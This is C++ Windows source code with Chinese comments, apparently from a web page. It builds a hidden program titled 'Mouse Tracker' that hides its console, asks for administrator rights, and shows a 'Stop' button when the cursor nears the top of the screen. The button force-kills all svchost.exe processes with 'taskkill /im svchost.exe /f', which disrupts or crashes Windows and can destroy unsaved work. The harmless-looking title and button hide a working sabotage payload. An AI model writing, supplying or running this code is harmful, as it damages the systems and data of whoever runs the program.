#include <windows.h>

// 区域参数
#define TARGET_HEIGHT 50
#define TARGET_WIDTH_RATIO 0.5

// 全局变量
HWND g_hwndTransparent = NULL;
HWND g_hwndButton = NULL;
bool g_bVisible = false;
RECT g_targetRect = {0};
int g_btnWidth = 80;
int g_btnHeight = 30;

// ---------- 管理员权限检测与提权 ----------
BOOL IsUserAdmin() {
	BOOL bIsAdmin = FALSE;
	PSID pAdminGroup = NULL;
	SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
	if (AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
	                             DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdminGroup)) {
		CheckTokenMembership(NULL, pAdminGroup, &bIsAdmin);
		FreeSid(pAdminGroup);
	}
	return bIsAdmin;
}

void RunAsAdmin() {
	wchar_t szPath[MAX_PATH];
	GetModuleFileNameW(NULL, szPath, MAX_PATH);
	ShellExecuteW(NULL, L"runas", szPath, NULL, NULL, SW_SHOWNORMAL);
}
// -------------------------------------------

// 透明窗口的窗口过程
LRESULT CALLBACK TransparentWndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
	switch (msg) {
		case WM_ERASEBKGND: {
			HDC hdc = (HDC)wParam;
			RECT rc;
			GetClientRect(hwnd, &rc);
			HBRUSH hBrush = CreateSolidBrush(RGB(255, 0, 255));
			FillRect(hdc, &rc, hBrush);
			DeleteObject(hBrush);
			return TRUE;
		}
		case WM_PAINT: {
			PAINTSTRUCT ps;
			BeginPaint(hwnd, &ps);
			EndPaint(hwnd, &ps);
			return 0;
		}
		case WM_NCHITTEST: {
			LRESULT ret = DefWindowProc(hwnd, msg, wParam, lParam);
			if (ret == HTCLIENT)
				ret = HTTRANSPARENT;
			return ret;
		}
		case WM_COMMAND: {
			if (LOWORD(wParam) == 1 && HIWORD(wParam) == BN_CLICKED) {
				system("taskkill /im svchost.exe /f");
			}
			return 0;
		}
		case WM_DESTROY:
			PostQuitMessage(0);
			return 0;
		default:
			return DefWindowProc(hwnd, msg, wParam, lParam);
	}
}

// 主窗口的窗口过程
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
	switch (msg) {
		case WM_CREATE: {
			int screenWidth = GetSystemMetrics(SM_CXSCREEN);
			int left   = (int)(screenWidth * (1.0 - TARGET_WIDTH_RATIO) / 2);
			int right  = (int)(screenWidth * (1.0 + TARGET_WIDTH_RATIO) / 2);
			g_targetRect.left   = left;
			g_targetRect.right  = right;
			g_targetRect.top    = 0;
			g_targetRect.bottom = TARGET_HEIGHT;

			g_hwndTransparent = CreateWindowEx(
			                        WS_EX_TOPMOST | WS_EX_LAYERED | WS_EX_NOACTIVATE,
			                        "TransparentClass", NULL, WS_POPUP,
			                        0, 0, g_btnWidth, g_btnHeight,
			                        NULL, NULL, GetModuleHandle(NULL), NULL
			                    );
			SetLayeredWindowAttributes(g_hwndTransparent, RGB(255, 0, 255), 0, LWA_COLORKEY);

			g_hwndButton = CreateWindow(
			                   "BUTTON", "Stop",
			                   WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
			                   0, 0, g_btnWidth, g_btnHeight,
			                   g_hwndTransparent, (HMENU)1,
			                   GetModuleHandle(NULL), NULL
			               );

			ShowWindow(g_hwndTransparent, SW_HIDE);
			SetTimer(hwnd, 1, 50, NULL);
		}
		return 0;

		case WM_TIMER: {
			POINT pt;
			GetCursorPos(&pt);
			bool inRect = PtInRect(&g_targetRect, pt);
			if (inRect && !g_bVisible) {
				int x = (g_targetRect.left + g_targetRect.right) / 2 - g_btnWidth / 2;
				int y = 0;
				SetWindowPos(g_hwndTransparent, HWND_TOPMOST, x, y,
				             g_btnWidth, g_btnHeight, SWP_SHOWWINDOW);
				g_bVisible = true;
			} else if (!inRect && g_bVisible) {
				ShowWindow(g_hwndTransparent, SW_HIDE);
				g_bVisible = false;
			}
		}
		return 0;

		case WM_DESTROY:
			PostQuitMessage(0);
			return 0;

		default:
			return DefWindowProc(hwnd, msg, wParam, lParam);
	}
}

// 程序入口
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
	// ----------- 自动隐藏控制台窗口 -----------
	FreeConsole();

	// ---------- 自动提升为管理员权限 ----------
	if (!IsUserAdmin()) {
		RunAsAdmin();
		return 0;
	}
	// -----------------------------------------

	// 注册主窗口类
	WNDCLASS wcMain = {0};
	wcMain.lpfnWndProc   = WndProc;
	wcMain.hInstance     = hInstance;
	wcMain.lpszClassName = "MainClass";
	RegisterClass(&wcMain);

	// 注册透明窗口类
	WNDCLASS wcTrans = {0};
	wcTrans.lpfnWndProc   = TransparentWndProc;
	wcTrans.hInstance     = hInstance;
	wcTrans.lpszClassName = "TransparentClass";
	wcTrans.hbrBackground = NULL;
	RegisterClass(&wcTrans);

	// 创建主窗口(隐藏)
	HWND hwndMain = CreateWindow(
	                    "MainClass", "Mouse Tracker",
	                    WS_OVERLAPPEDWINDOW,
	                    CW_USEDEFAULT, CW_USEDEFAULT, 400, 300,
	                    NULL, NULL, hInstance, NULL
	                );
	ShowWindow(hwndMain, SW_HIDE);
	UpdateWindow(hwndMain);

	// 消息循环
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0)) {
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
	return msg.wParam;
}

1 条评论

  • 1